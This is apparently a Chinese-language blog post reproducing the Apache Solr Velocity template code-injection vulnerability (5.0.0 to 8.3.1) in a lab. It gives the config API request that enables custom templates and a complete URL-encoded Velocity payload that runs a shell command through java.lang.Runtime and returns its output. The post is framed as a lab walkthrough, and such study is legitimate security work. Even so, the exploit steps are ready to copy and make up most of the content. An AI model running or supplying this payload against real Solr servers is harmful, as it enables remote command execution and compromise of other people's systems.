Apache Solr代码注入漏洞🐷

Apache Solr代码注入漏洞🐷

1.描述

Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。

2.影响版本

  • Apache Solr 5.0.0版本至8.3.1

3.环境

  • 靶机:centos7
  • 攻击机:burpsuite
  • 漏洞环境:Apache Solr8.2.0

4.漏洞成因

该漏洞源于外部输入数据构造代码段的过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。

5.环境搭建

  1. 在centos7上面搭建Apache Solr

搭建过程参考上一篇文章:https://www.cnblogs.com/tzf1/p/15508689.html

搭建好了之后访问IP获得如下页面:

image

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json

image

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称

POST /solr/db/config HTTP/1.1
Host: 192.168.33.150:8983
Content-Type: application/json
Content-Length: 261

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

image

然后我们直接调用Velocity模板的就可以执行任意命令了:

http://your-ip:8983/solr/demo/select?
q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forNa
me(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($st
r=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.wait
For()+%23set($out=$ex.getInputStream())+%23foreach($i+in+
[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

image


image

posted @ 2021-11-04 17:39  胖三斤1  阅读(262)  评论(0编辑  收藏  举报
Live2D